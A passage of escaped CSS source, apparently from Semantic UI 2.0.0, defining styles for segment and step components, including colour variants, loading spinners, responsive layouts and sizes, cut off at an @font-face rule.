border-bottom-right-radius: 0em;\n}\n\n.ui.attached.segment:not(.top):not(.bottom) > [class*=\"top attached\"].label {\n  border-top-left-radius: 0em;\n  border-top-right-radius: 0em;\n}\n\n.ui.attached.segment:not(.top):not(.bottom) > [class*=\"bottom attached\"].label {\n  border-bottom-left-radius: 0em;\n  border-bottom-right-radius: 0em;\n}\n\n/* Grid */\n\n.ui.page.grid.segment,\n.ui.grid .ui.segment.column {\n  padding-top: 2em;\n  padding-bottom: 2em;\n}\n\n.ui.grid.segment {\n  margin: 1rem 0em;\n  border-radius: 0.28571429rem;\n}\n\n/* Table */\n\n.ui.basic.table.segment {\n  background: #ffffff;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n}\n\n.ui[class*=\"very basic\"].table.segment {\n  padding: 1em 1em;\n}\n\n/*******************************\n             Types\n*******************************/\n\n/*-------------------\n        Piled\n--------------------*/\n\n.ui.piled.segments,\n.ui.piled.segment {\n  margin: 3em 0em;\n  box-shadow: '';\n  z-index: auto;\n}\n\n.ui.piled.segment:first-child {\n  margin-top: 0em;\n}\n\n.ui.piled.segment:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.piled.segments:after,\n.ui.piled.segments:before,\n.ui.piled.segment:after,\n.ui.piled.segment:before {\n  background-color: #ffffff;\n  visibility: visible;\n  content: '';\n  display: block;\n  height: 100%;\n  left: 0px;\n  position: absolute;\n  width: 100%;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: '';\n}\n\n.ui.piled.segments:before,\n.ui.piled.segment:before {\n  -webkit-transform: rotate(-1.2deg);\n  -ms-transform: rotate(-1.2deg);\n  transform: rotate(-1.2deg);\n  top: 0;\n  z-index: -2;\n}\n\n.ui.piled.segments:after,\n.ui.piled.segment:after {\n  -webkit-transform: rotate(1.2deg);\n  -ms-transform: rotate(1.2deg);\n  transform: rotate(1.2deg);\n  top: 0;\n  z-index: -1;\n}\n\n/* Piled Attached */\n\n.ui[class*=\"top attached\"].piled.segment {\n  margin-top: 3em;\n  margin-bottom: 0em;\n}\n\n.ui.piled.segment[class*=\"top attached\"]:first-child {\n  margin-top: 0em;\n}\n\n.ui.piled.segment[class*=\"bottom attached\"] {\n  margin-top: 0em;\n  margin-bottom: 3em;\n}\n\n.ui.piled.segment[class*=\"bottom attached\"]:last-child {\n  margin-bottom: 0em;\n}\n\n/*-------------------\n       Stacked\n--------------------*/\n\n.ui.stacked.segment {\n  padding-bottom: 1.4em;\n}\n\n.ui.stacked.segments:before,\n.ui.stacked.segments:after,\n.ui.stacked.segment:before,\n.ui.stacked.segment:after {\n  content: '';\n  position: absolute;\n  bottom: -3px;\n  left: 0%;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  background-color: rgba(0, 0, 0, 0.03);\n  width: 100%;\n  height: 6px;\n  visibility: visible;\n}\n\n.ui.stacked.segments:before,\n.ui.stacked.segment:before {\n  display: none;\n}\n\n/* Add additional page */\n\n.ui.tall.stacked.segments:before,\n.ui.tall.stacked.segment:before {\n  display: block;\n  bottom: 0px;\n}\n\n/* Inverted */\n\n.ui.stacked.inverted.segments:before,\n.ui.stacked.inverted.segments:after,\n.ui.stacked.inverted.segment:before,\n.ui.stacked.inverted.segment:after {\n  background-color: rgba(0, 0, 0, 0.03);\n  border-top: 1px solid rgba(34, 36, 38, 0.35);\n}\n\n/*-------------------\n       Padded\n--------------------*/\n\n.ui.padded.segment {\n  padding: 1.5em;\n}\n\n.ui[class*=\"very padded\"].segment {\n  padding: 3em;\n}\n\n/*-------------------\n       Compact\n--------------------*/\n\n.ui.compact.segment {\n  display: table;\n}\n\n/* Compact Group */\n\n.ui.compact.segments {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n}\n\n.ui.compact.segments .segment,\n.ui.segments .compact.segment {\n  display: block;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n}\n\n/*-------------------\n       Circular\n--------------------*/\n\n.ui.circular.segment {\n  display: table-cell;\n  padding: 2em;\n  text-align: center;\n  vertical-align: middle;\n  border-radius: 500em;\n}\n\n/*-------------------\n       Raised\n--------------------*/\n\n.ui.raised.segments,\n.ui.raised.segment {\n  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.08);\n}\n\n/*******************************\n            Groups\n*******************************/\n\n/* Group */\n\n.ui.segments {\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  position: relative;\n  margin: 1rem 0em;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n  border-radius: 0.28571429rem;\n}\n\n.ui.segments:first-child {\n  margin-top: 0em;\n}\n\n.ui.segments:last-child {\n  margin-bottom: 0em;\n}\n\n/* Nested Segment */\n\n.ui.segments > .segment {\n  top: 0px;\n  bottom: 0px;\n  border-radius: 0px;\n  margin: 0em;\n  width: auto;\n  box-shadow: none;\n  border: none;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.segments:not(.horizontal) > .segment:first-child {\n  border-top: none;\n  margin-top: 0em;\n  bottom: 0px;\n  margin-bottom: 0em;\n  top: 0px;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n/* Bottom */\n\n.ui.segments:not(.horizontal) > .segment:last-child {\n  top: 0px;\n  bottom: 0px;\n  margin-top: 0em;\n  margin-bottom: 0em;\n  box-shadow: none, 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/* Nested Group */\n\n.ui.segments > .ui.segments {\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  margin: 1rem 1rem;\n}\n\n.ui.segments > .segments:first-child {\n  border-top: none;\n}\n\n.ui.segments > .segment + .segments:not(.horizontal) {\n  margin-top: 0em;\n}\n\n/* Horizontal Group */\n\n.ui.horizontal.segments {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  background-color: transparent;\n  border-radius: 0px;\n  padding: 0em;\n  background-color: #ffffff;\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n  margin: 1rem 0em;\n  border-radius: 0.28571429rem;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n/* Nested Horizontal Group */\n\n.ui.segments > .horizontal.segments {\n  margin: 0em;\n  background-color: transparent;\n  border-radius: 0px;\n  border: none;\n  box-shadow: none;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n/* Horizontal Segment */\n\n.ui.horizontal.segments > .segment {\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 1 auto;\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  margin: 0em;\n  min-width: 0px;\n  background-color: transparent;\n  border-radius: 0px;\n  border: none;\n  box-shadow: none;\n  border-left: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.horizontal.segments > .segment:first-child {\n  border-left: none;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------\n    Disabled\n---------------*/\n\n.ui.disabled.segment {\n  opacity: 0.45;\n  color: rgba(40, 40, 40, 0.3);\n}\n\n/*--------------\n    Loading\n---------------*/\n\n.ui.loading.segment {\n  position: relative;\n  cursor: default;\n  point-events: none;\n  text-shadow: none !important;\n  color: transparent !important;\n  -webkit-transition: all 0s linear;\n  transition: all 0s linear;\n}\n\n.ui.loading.segment:before {\n  position: absolute;\n  content: '';\n  top: 0%;\n  left: 0%;\n  background: rgba(255, 255, 255, 0.8);\n  width: 100%;\n  height: 100%;\n  border-radius: 0.28571429rem;\n  z-index: 100;\n}\n\n.ui.loading.segment:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -1.5em 0em 0em -1.5em;\n  width: 3em;\n  height: 3em;\n  -webkit-animation: segment-spin 0.6s linear;\n  animation: segment-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1);\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n  visibility: visible;\n  z-index: 101;\n}\n\n@-webkit-keyframes segment-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n@keyframes segment-spin {\n  from {\n    -webkit-transform: rotate(0deg);\n    transform: rotate(0deg);\n  }\n\n  to {\n    -webkit-transform: rotate(360deg);\n    transform: rotate(360deg);\n  }\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*-------------------\n       Basic\n--------------------*/\n\n.ui.basic.segment {\n  background: none transparent;\n  box-shadow: none;\n  border: none;\n  border-radius: 0px;\n}\n\n/*-------------------\n       Clearing\n--------------------*/\n\n.ui.clearing.segment:after {\n  content: \".\";\n  display: block;\n  height: 0;\n  clear: both;\n  visibility: hidden;\n}\n\n/*-------------------\n       Colors\n--------------------*/\n\n/* Red */\n\n.ui.red.segment:not(.inverted) {\n  border-top: 2px solid #db2828;\n}\n\n.ui.inverted.red.segment {\n  background-color: #db2828 !important;\n  color: #ffffff !important;\n}\n\n/* Orange */\n\n.ui.orange.segment:not(.inverted) {\n  border-top: 2px solid #f2711c;\n}\n\n.ui.inverted.orange.segment {\n  background-color: #f2711c !important;\n  color: #ffffff !important;\n}\n\n/* Yellow */\n\n.ui.yellow.segment:not(.inverted) {\n  border-top: 2px solid #fbbd08;\n}\n\n.ui.inverted.yellow.segment {\n  background-color: #fbbd08 !important;\n  color: #ffffff !important;\n}\n\n/* Olive */\n\n.ui.olive.segment:not(.inverted) {\n  border-top: 2px solid #b5cc18;\n}\n\n.ui.inverted.olive.segment {\n  background-color: #b5cc18 !important;\n  color: #ffffff !important;\n}\n\n/* Green */\n\n.ui.green.segment:not(.inverted) {\n  border-top: 2px solid #21ba45;\n}\n\n.ui.inverted.green.segment {\n  background-color: #21ba45 !important;\n  color: #ffffff !important;\n}\n\n/* Teal */\n\n.ui.teal.segment:not(.inverted) {\n  border-top: 2px solid #00b5ad;\n}\n\n.ui.inverted.teal.segment {\n  background-color: #00b5ad !important;\n  color: #ffffff !important;\n}\n\n/* Blue */\n\n.ui.blue.segment:not(.inverted) {\n  border-top: 2px solid #2185d0;\n}\n\n.ui.inverted.blue.segment {\n  background-color: #2185d0 !important;\n  color: #ffffff !important;\n}\n\n/* Violet */\n\n.ui.violet.segment:not(.inverted) {\n  border-top: 2px solid #6435c9;\n}\n\n.ui.inverted.violet.segment {\n  background-color: #6435c9 !important;\n  color: #ffffff !important;\n}\n\n/* Purple */\n\n.ui.purple.segment:not(.inverted) {\n  border-top: 2px solid #a333c8;\n}\n\n.ui.inverted.purple.segment {\n  background-color: #a333c8 !important;\n  color: #ffffff !important;\n}\n\n/* Pink */\n\n.ui.pink.segment:not(.inverted) {\n  border-top: 2px solid #e03997;\n}\n\n.ui.inverted.pink.segment {\n  background-color: #e03997 !important;\n  color: #ffffff !important;\n}\n\n/* Brown */\n\n.ui.brown.segment:not(.inverted) {\n  border-top: 2px solid #a5673f;\n}\n\n.ui.inverted.brown.segment {\n  background-color: #a5673f !important;\n  color: #ffffff !important;\n}\n\n/* Grey */\n\n.ui.grey.segment:not(.inverted) {\n  border-top: 2px solid #767676;\n}\n\n.ui.inverted.grey.segment {\n  background-color: #767676 !important;\n  color: #ffffff !important;\n}\n\n/* Black */\n\n.ui.black.segment:not(.inverted) {\n  border-top: 2px solid #1b1c1d;\n}\n\n.ui.inverted.black.segment {\n  background-color: #1b1c1d !important;\n  color: #ffffff !important;\n}\n\n/*-------------------\n       Aligned\n--------------------*/\n\n.ui[class*=\"left aligned\"].segment {\n  text-align: left;\n}\n\n.ui[class*=\"right aligned\"].segment {\n  text-align: right;\n}\n\n.ui[class*=\"center aligned\"].segment {\n  text-align: center;\n}\n\n/*-------------------\n       Floated\n--------------------*/\n\n.ui.floated.segment,\n.ui[class*=\"left floated\"].segment {\n  float: left;\n  margin-right: 1em;\n}\n\n.ui[class*=\"right floated\"].segment {\n  float: right;\n  margin-left: 1em;\n}\n\n/*-------------------\n      Inverted\n--------------------*/\n\n.ui.inverted.segment {\n  border: none;\n  box-shadow: none;\n}\n\n.ui.inverted.segment .segment {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.inverted.segment .inverted.segment {\n  color: #ffffff;\n}\n\n.ui.inverted.segment,\n.ui.primary.inverted.segment {\n  background-color: #1b1c1d;\n  color: #ffffff;\n}\n\n.ui.inverted.block.segment,\n.ui.inverted.attached.segment {\n  border-color: #555555;\n}\n\n/*-------------------\n     Emphasis\n--------------------*/\n\n/* Secondary */\n\n.ui.secondary.segment {\n  background: #f3f4f5;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.secondary.inverted.segment {\n  background: #4c4f52 -webkit-linear-gradient(rgba(255, 255, 255, 0.2) 0%, rgba(255, 255, 255, 0.2) 100%);\n  background: #4c4f52 linear-gradient(rgba(255, 255, 255, 0.2) 0%, rgba(255, 255, 255, 0.2) 100%);\n  color: rgba(255, 255, 255, 0.8);\n}\n\n/* Tertiary */\n\n.ui.tertiary.segment {\n  background: #dcddde;\n  color: rgba(0, 0, 0, 0.6);\n}\n\n.ui.tertiary.inverted.segment {\n  background: #717579 -webkit-linear-gradient(rgba(255, 255, 255, 0.35) 0%, rgba(255, 255, 255, 0.35) 100%);\n  background: #717579 linear-gradient(rgba(255, 255, 255, 0.35) 0%, rgba(255, 255, 255, 0.35) 100%);\n  color: rgba(255, 255, 255, 0.8);\n}\n\n/*-------------------\n      Attached\n--------------------*/\n\n.ui.segment.attached {\n  top: 0px;\n  bottom: 0px;\n  margin: 0em -1px;\n  width: calc(100% +  2px );\n  max-width: calc(100% +  2px );\n  border-radius: 0px;\n  box-shadow: none;\n  border: 1px solid #d4d4d5;\n}\n\n.ui.segment.attached + .ui.segment.attached:not(.top) {\n  border-top: none;\n}\n\n/* Top */\n\n.ui[class*=\"top attached\"].segment {\n  top: 0px;\n  bottom: 0px;\n  margin-top: 1rem 0em;\n  margin-bottom: 0em;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.segment[class*=\"top attached\"]:first-child {\n  margin-top: 0em;\n}\n\n/* Bottom */\n\n.ui.segment[class*=\"bottom attached\"] {\n  top: 0px;\n  bottom: 0px;\n  margin-top: 0em;\n  margin-bottom: 1rem 0em;\n  box-shadow: none, 0px 1px 2px 0 rgba(34, 36, 38, 0.15);\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.segment[class*=\"bottom attached\"]:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Step\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Plural\n*******************************/\n\n.ui.steps {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  -webkit-box-align: stretch;\n  -webkit-align-items: stretch;\n  -ms-flex-align: stretch;\n  align-items: stretch;\n  margin: 1em 0em;\n  background: '';\n  box-shadow: none;\n  line-height: 1.14285714em;\n  border-radius: 0.28571429rem;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.steps:first-child {\n  margin-top: 0em;\n}\n\n.ui.steps:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.steps .step:first-child {\n  padding-left: 2em;\n  border-radius: 0.28571429rem 0em 0em 0.28571429rem;\n}\n\n.ui.steps .step:last-child {\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui.steps .step:only-child {\n  border-radius: 0.28571429rem;\n}\n\n.ui.steps .step:last-child {\n  border-right: none;\n  margin-right: 0em;\n}\n\n.ui.steps .step:last-child:after {\n  display: none;\n}\n\n/*******************************\n           Singular\n*******************************/\n\n.ui.steps .step {\n  position: relative;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 0 auto;\n  -ms-flex: 1 0 auto;\n  flex: 1 0 auto;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -webkit-box-orient: horizontal;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n  vertical-align: middle;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n  margin: 0em 0em;\n  padding: 1.14285714em 2em;\n  background: #ffffff;\n  color: rgba(0, 0, 0, 0.87);\n  box-shadow: none;\n  border-radius: 0em;\n  border: none;\n  border-right: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.steps .step:after {\n  display: none;\n  position: absolute;\n  z-index: 2;\n  content: '';\n  top: 50%;\n  right: 0%;\n  border: medium none;\n  background-color: #ffffff;\n  width: 1.14285714em;\n  height: 1.14285714em;\n  border-style: solid;\n  border-color: rgba(34, 36, 38, 0.15);\n  border-width: 0px 1px 1px 0px;\n  -webkit-transform: translateY(-50%) translateX(50%) rotate(-45deg);\n  -ms-transform: translateY(-50%) translateX(50%) rotate(-45deg);\n  transform: translateY(-50%) translateX(50%) rotate(-45deg);\n}\n\n.ui.steps .step,\n.ui.steps .step:after {\n  -webkit-transition: background-color 0.1s ease, opacity 0.1s ease, color 0.1s ease, box-shadow 0.1s ease;\n  transition: background-color 0.1s ease, opacity 0.1s ease, color 0.1s ease, box-shadow 0.1s ease;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/* Title */\n\n.ui.steps .step .title {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 1.14285714em;\n  font-weight: bold;\n}\n\n.ui.steps .step > .title {\n  width: 100%;\n}\n\n/* Description */\n\n.ui.steps .step .description {\n  font-weight: normal;\n  font-size: 0.92857143em;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.steps .step > .description {\n  width: 100%;\n}\n\n.ui.steps .step .title ~ .description {\n  margin-top: 0.25em;\n}\n\n/* Icon */\n\n.ui.steps .step > .icon {\n  line-height: 1;\n  font-size: 2.5em;\n  margin: 0em 1rem 0em 0em;\n}\n\n.ui.steps .step > .icon,\n.ui.steps .step > .icon ~ .content {\n  display: block;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  -webkit-align-self: middle;\n  -ms-flex-item-align: middle;\n  align-self: middle;\n}\n\n.ui.steps .step > .icon ~ .content {\n  -webkit-box-flex: 1 0 auto;\n  -webkit-flex-grow: 1 0 auto;\n  -ms-flex-positive: 1 0 auto;\n  flex-grow: 1 0 auto;\n}\n\n/* Horizontal Icon */\n\n.ui.steps:not(.vertical) .step > .icon {\n  width: auto;\n}\n\n/* Link */\n\n.ui.steps .link.step,\n.ui.steps a.step {\n  cursor: pointer;\n}\n\n/*******************************\n            Types\n*******************************/\n\n/*--------------\n     Ordered\n---------------*/\n\n.ui.ordered.steps {\n  counter-reset: ordered;\n}\n\n.ui.ordered.steps .step:before {\n  display: block;\n  position: static;\n  text-align: center;\n  content: counters(ordered, \".\");\n  -webkit-align-self: middle;\n  -ms-flex-item-align: middle;\n  align-self: middle;\n  margin-right: 1rem;\n  font-size: 2.5em;\n  counter-increment: ordered;\n  font-family: inherit;\n  font-weight: bold;\n}\n\n.ui.ordered.steps .step > * {\n  display: block;\n  -webkit-align-self: middle;\n  -ms-flex-item-align: middle;\n  align-self: middle;\n}\n\n/*--------------\n    Vertical\n---------------*/\n\n.ui.vertical.steps {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  overflow: visible;\n}\n\n.ui.vertical.steps .step {\n  -webkit-box-pack: start;\n  -webkit-justify-content: flex-start;\n  -ms-flex-pack: start;\n  justify-content: flex-start;\n  border-radius: 0em;\n  padding: 1.14285714em 2em;\n  border-bottom: 1px solid rgba(34, 36, 38, 0.15);\n}\n\n.ui.vertical.steps .step:first-child {\n  padding: 1.14285714em 2em;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.vertical.steps .step:last-child {\n  border-bottom: none;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n/* Arrow */\n\n.ui.vertical.steps .step:after {\n  display: none;\n}\n\n.ui.vertical.steps .step:after {\n  top: 50%;\n  right: 0%;\n  border-width: 0px 1px 1px 0px;\n}\n\n.ui.vertical.steps .step:after {\n  display: none;\n}\n\n.ui.vertical.steps .active.step:after {\n  display: block;\n}\n\n.ui.vertical.steps .step:last-child:after {\n  display: block;\n}\n\n/*---------------\n    Responsive\n----------------*/\n\n/* Mobile (Default) */\n\n@media only screen and (max-width: 767px) {\n  .ui.steps {\n    display: -webkit-inline-box;\n    display: -webkit-inline-flex;\n    display: -ms-inline-flexbox;\n    display: inline-flex;\n    overflow: visible;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n  }\n\n  .ui.steps .step {\n    width: 100% !important;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    border-radius: 0em;\n    padding: 1.14285714em 2em;\n  }\n\n  .ui.steps .step:first-child {\n    padding: 1.14285714em 2em;\n    border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n  }\n\n  .ui.steps .step:last-child {\n    border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n  }\n\n  /* Arrow */\n\n  .ui.steps .step:after {\n    display: none !important;\n  }\n\n  /* Content */\n\n  .ui.steps .step .content {\n    text-align: center;\n  }\n\n  /* Icon */\n\n  .ui.steps .step > .icon,\n  .ui.ordered.steps .step:before {\n    margin: 0em 0em 1rem 0em;\n  }\n}\n\n/*******************************\n             States\n*******************************/\n\n/* Link Hover */\n\n.ui.steps .link.step:hover::after,\n.ui.steps .link.step:hover,\n.ui.steps a.step:hover::after,\n.ui.steps a.step:hover {\n  background: #f9fafb;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/* Link Down */\n\n.ui.steps .link.step:active::after,\n.ui.steps .link.step:active,\n.ui.steps a.step:active::after,\n.ui.steps a.step:active {\n  background: #f3f4f5;\n  color: rgba(0, 0, 0, 0.9);\n}\n\n/* Active */\n\n.ui.steps .step.active {\n  cursor: auto;\n  background: #f3f4f5;\n}\n\n.ui.steps .step.active:after {\n  background: #f3f4f5;\n}\n\n.ui.steps .step.active .title {\n  color: #4183c4;\n}\n\n.ui.ordered.steps .step.active:before,\n.ui.steps .active.step .icon {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n/* Active Arrow */\n\n.ui.steps .step:after {\n  display: block;\n}\n\n.ui.steps .active.step:after {\n  display: block;\n}\n\n/* Active Hover */\n\n.ui.steps .link.active.step:hover::after,\n.ui.steps .link.active.step:hover,\n.ui.steps a.active.step:hover::after,\n.ui.steps a.active.step:hover {\n  cursor: pointer;\n  background: #dcddde;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Completed */\n\n.ui.steps .step.completed > .icon:before,\n.ui.ordered.steps .step.completed:before {\n  color: #21ba45;\n}\n\n/* Disabled */\n\n.ui.steps .disabled.step {\n  cursor: auto;\n  background: #ffffff;\n  pointer-events: none;\n}\n\n.ui.steps .disabled.step,\n.ui.steps .disabled.step .title,\n.ui.steps .disabled.step .description {\n  color: rgba(40, 40, 40, 0.3);\n}\n\n.ui.steps .disabled.step:after {\n  background: #ffffff;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n   Stackable\n---------------*/\n\n/* Tablet Or Below */\n\n@media only screen and (max-width: 992px) {\n  .ui[class*=\"tablet stackable\"].steps {\n    display: -webkit-inline-box;\n    display: -webkit-inline-flex;\n    display: -ms-inline-flexbox;\n    display: inline-flex;\n    overflow: visible;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n  }\n\n  /* Steps */\n\n  .ui[class*=\"tablet stackable\"].steps .step {\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    border-radius: 0em;\n    padding: 1.14285714em 2em;\n  }\n\n  .ui[class*=\"tablet stackable\"].steps .step:first-child {\n    padding: 1.14285714em 2em;\n    border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n  }\n\n  .ui[class*=\"tablet stackable\"].steps .step:last-child {\n    border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n  }\n\n  /* Arrow */\n\n  .ui[class*=\"tablet stackable\"].steps .step:after {\n    display: none !important;\n  }\n\n  /* Content */\n\n  .ui[class*=\"tablet stackable\"].steps .step .content {\n    text-align: center;\n  }\n\n  /* Icon */\n\n  .ui[class*=\"tablet stackable\"].steps .step > .icon,\n  .ui[class*=\"tablet stackable\"].ordered.steps .step:before {\n    margin: 0em 0em 1rem 0em;\n  }\n}\n\n/*--------------\n      Fluid\n---------------*/\n\n/* Fluid */\n\n.ui.fluid.steps {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 100%;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n/* Top */\n\n.ui.attached.steps {\n  width: calc(100% +  2px ) !important;\n  margin: 0em -1px -1px;\n  max-width: calc(100% +  2px );\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.attached.steps .step:first-child {\n  border-radius: 0.28571429rem 0em 0em 0em;\n}\n\n.ui.attached.steps .step:last-child {\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n/* Bottom */\n\n.ui.bottom.attached.steps {\n  margin: -1px -1px 0em;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.bottom.attached.steps .step:first-child {\n  border-radius: 0em 0em 0em 0.28571429rem;\n}\n\n.ui.bottom.attached.steps .step:last-child {\n  border-radius: 0em 0em 0.28571429rem 0em;\n}\n\n/*-------------------\n    Evenly Divided\n--------------------*/\n\n.ui.one.steps,\n.ui.two.steps,\n.ui.three.steps,\n.ui.four.steps,\n.ui.five.steps,\n.ui.six.steps,\n.ui.seven.steps,\n.ui.eight.steps {\n  width: 100%;\n}\n\n.ui.one.steps > .step,\n.ui.two.steps > .step,\n.ui.three.steps > .step,\n.ui.four.steps > .step,\n.ui.five.steps > .step,\n.ui.six.steps > .step,\n.ui.seven.steps > .step,\n.ui.eight.steps > .step {\n  -webkit-flex-wrap: nowrap;\n  -ms-flex-wrap: nowrap;\n  flex-wrap: nowrap;\n}\n\n.ui.one.steps > .step {\n  width: 100%;\n}\n\n.ui.two.steps > .step {\n  width: 50%;\n}\n\n.ui.three.steps > .step {\n  width: 33.333%;\n}\n\n.ui.four.steps > .step {\n  width: 25%;\n}\n\n.ui.five.steps > .step {\n  width: 20%;\n}\n\n.ui.six.steps > .step {\n  width: 16.666%;\n}\n\n.ui.seven.steps > .step {\n  width: 14.285%;\n}\n\n.ui.eight.steps > .step {\n  width: 12.500%;\n}\n\n/*-------------------\n       Sizes\n--------------------*/\n\n.ui.small.step,\n.ui.small.steps .step {\n  font-size: 0.92857143rem;\n}\n\n.ui.step,\n.ui.steps .step {\n  font-size: 1rem;\n}\n\n.ui.large.step,\n.ui.large.steps .step {\n  font-size: 1.14285714rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n@font-face {\n  font-family: 'Step';\n  src: 